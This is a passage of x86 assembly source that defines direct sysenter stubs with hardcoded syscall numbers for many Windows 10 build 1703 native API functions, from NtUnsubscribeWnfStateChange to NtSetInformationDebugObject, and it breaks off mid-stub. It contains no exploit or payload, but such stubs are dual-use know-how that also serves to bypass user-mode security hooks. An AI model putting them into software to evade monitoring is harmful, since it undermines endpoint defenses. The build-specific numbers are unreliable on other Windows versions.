_10_0_15063_sp0_windows_10_rs2_1703_NtUnsubscribeWnfStateChange PROC STDCALL arg_01:DWORD
mov eax , 18
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnsubscribeWnfStateChange ENDP
; ULONG __stdcall NtUpdateWnfStateData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUpdateWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 19
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUpdateWnfStateData ENDP
; ULONG __stdcall NtUnmapViewOfSection( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnmapViewOfSection PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 20
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnmapViewOfSection ENDP
; ULONG __stdcall NtUnmapViewOfSectionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnmapViewOfSectionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 21
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnmapViewOfSectionEx ENDP
; ULONG __stdcall NtUnlockVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnlockVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 22
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnlockVirtualMemory ENDP
; ULONG __stdcall NtUnlockFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnlockFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 23
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnlockFile ENDP
; ULONG __stdcall NtUnloadKeyEx( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 24
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadKeyEx ENDP
; ULONG __stdcall NtUnloadKey2( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadKey2 PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 25
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadKey2 ENDP
; ULONG __stdcall NtUnloadKey( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadKey PROC STDCALL arg_01:DWORD
mov eax , 26
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadKey ENDP
; ULONG __stdcall NtUnloadDriver( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadDriver PROC STDCALL arg_01:DWORD
mov eax , 27
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUnloadDriver ENDP
; ULONG __stdcall NtUmsThreadYield( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtUmsThreadYield PROC STDCALL arg_01:DWORD
mov eax , 28
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtUmsThreadYield ENDP
; ULONG __stdcall NtTranslateFilePath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtTranslateFilePath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 29
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTranslateFilePath ENDP
; ULONG __stdcall NtTraceEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtTraceEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 30
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTraceEvent ENDP
; ULONG __stdcall NtTraceControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtTraceControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 31
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTraceControl ENDP
; ULONG __stdcall NtThawTransactions( );
_10_0_15063_sp0_windows_10_rs2_1703_NtThawTransactions PROC STDCALL
mov eax , 32
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtThawTransactions ENDP
; ULONG __stdcall NtThawRegistry( );
_10_0_15063_sp0_windows_10_rs2_1703_NtThawRegistry PROC STDCALL
mov eax , 33
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtThawRegistry ENDP
; ULONG __stdcall NtTestAlert( );
_10_0_15063_sp0_windows_10_rs2_1703_NtTestAlert PROC STDCALL
mov eax , 34
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTestAlert ENDP
; ULONG __stdcall NtTerminateThread( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtTerminateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 35
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTerminateThread ENDP
; ULONG __stdcall NtTerminateProcess( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtTerminateProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 36
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTerminateProcess ENDP
; ULONG __stdcall NtTerminateJobObject( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtTerminateJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 37
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtTerminateJobObject ENDP
; ULONG __stdcall NtSystemDebugControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSystemDebugControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 38
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSystemDebugControl ENDP
; ULONG __stdcall NtSuspendThread( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSuspendThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 39
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSuspendThread ENDP
; ULONG __stdcall NtSuspendProcess( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSuspendProcess PROC STDCALL arg_01:DWORD
mov eax , 40
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSuspendProcess ENDP
; ULONG __stdcall NtSubscribeWnfStateChange( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSubscribeWnfStateChange PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 41
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSubscribeWnfStateChange ENDP
; ULONG __stdcall NtStopProfile( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtStopProfile PROC STDCALL arg_01:DWORD
mov eax , 42
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtStopProfile ENDP
; ULONG __stdcall NtStartProfile( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtStartProfile PROC STDCALL arg_01:DWORD
mov eax , 43
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtStartProfile ENDP
; ULONG __stdcall NtSinglePhaseReject( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSinglePhaseReject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 44
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSinglePhaseReject ENDP
; ULONG __stdcall NtSignalAndWaitForSingleObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSignalAndWaitForSingleObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 45
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSignalAndWaitForSingleObject ENDP
; ULONG __stdcall NtShutdownWorkerFactory( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtShutdownWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 46
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtShutdownWorkerFactory ENDP
; ULONG __stdcall NtShutdownSystem( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtShutdownSystem PROC STDCALL arg_01:DWORD
mov eax , 47
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtShutdownSystem ENDP
; ULONG __stdcall NtSetWnfProcessNotificationEvent( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetWnfProcessNotificationEvent PROC STDCALL arg_01:DWORD
mov eax , 48
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetWnfProcessNotificationEvent ENDP
; ULONG __stdcall NtSetVolumeInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetVolumeInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 49
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetVolumeInformationFile ENDP
; ULONG __stdcall NtSetValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 50
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetValueKey ENDP
; ULONG __stdcall NtSetUuidSeed( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetUuidSeed PROC STDCALL arg_01:DWORD
mov eax , 51
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetUuidSeed ENDP
; ULONG __stdcall NtSetTimerResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimerResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 52
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimerResolution ENDP
; ULONG __stdcall NtSetTimerEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimerEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 53
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimerEx ENDP
; ULONG __stdcall NtSetTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 54
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimer ENDP
; ULONG __stdcall NtSetThreadExecutionState( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetThreadExecutionState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 55
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetThreadExecutionState ENDP
; ULONG __stdcall NtSetSystemTime( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemTime PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 56
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemTime ENDP
; ULONG __stdcall NtSetSystemPowerState( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemPowerState PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 57
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemPowerState ENDP
; ULONG __stdcall NtSetSystemInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 58
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemInformation ENDP
; ULONG __stdcall NtSetSystemEnvironmentValueEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemEnvironmentValueEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 59
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemEnvironmentValueEx ENDP
; ULONG __stdcall NtSetSystemEnvironmentValue( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemEnvironmentValue PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 60
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSystemEnvironmentValue ENDP
; ULONG __stdcall NtSetSecurityObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSecurityObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 61
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetSecurityObject ENDP
; ULONG __stdcall NtSetQuotaInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetQuotaInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 62
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetQuotaInformationFile ENDP
; ULONG __stdcall NtSetLowWaitHighEventPair( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetLowWaitHighEventPair PROC STDCALL arg_01:DWORD
mov eax , 63
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetLowWaitHighEventPair ENDP
; ULONG __stdcall NtSetLowEventPair( ULONG arg_01 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetLowEventPair PROC STDCALL arg_01:DWORD
mov eax , 64
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetLowEventPair ENDP
; ULONG __stdcall NtSetLdtEntries( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetLdtEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 65
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetLdtEntries ENDP
; ULONG __stdcall NtSetIRTimer( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIRTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 66
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIRTimer ENDP
; ULONG __stdcall NtSetTimer2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 67
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetTimer2 ENDP
; ULONG __stdcall NtCancelTimer2( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 68
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtCancelTimer2 ENDP
; ULONG __stdcall NtSetIoCompletionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIoCompletionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 69
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIoCompletionEx ENDP
; ULONG __stdcall NtSetIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 70
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIoCompletion ENDP
; ULONG __stdcall NtSetIntervalProfile( ULONG arg_01 , ULONG arg_02 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIntervalProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 71
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetIntervalProfile ENDP
; ULONG __stdcall NtSetInformationWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 72
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationWorkerFactory ENDP
; ULONG __stdcall NtSetInformationTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 73
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationTransactionManager ENDP
; ULONG __stdcall NtSetInformationTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 74
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationTransaction ENDP
; ULONG __stdcall NtSetInformationToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 75
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationToken ENDP
; ULONG __stdcall NtSetInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 76
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationThread ENDP
; ULONG __stdcall NtSetInformationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 77
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationResourceManager ENDP
; ULONG __stdcall NtSetInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 78
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationProcess ENDP
; ULONG __stdcall NtSetInformationObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 79
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationObject ENDP
; ULONG __stdcall NtSetInformationKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 80
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationKey ENDP
; ULONG __stdcall NtSetInformationJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 81
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationJobObject ENDP
; ULONG __stdcall NtSetInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 82
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationFile ENDP
; ULONG __stdcall NtSetInformationEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 83
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationEnlistment ENDP
; ULONG __stdcall NtSetInformationDebugObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_10_0_15063_sp0_windows_10_rs2_1703_NtSetInformationDebugObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 84
call _label_sysenter
ret 20
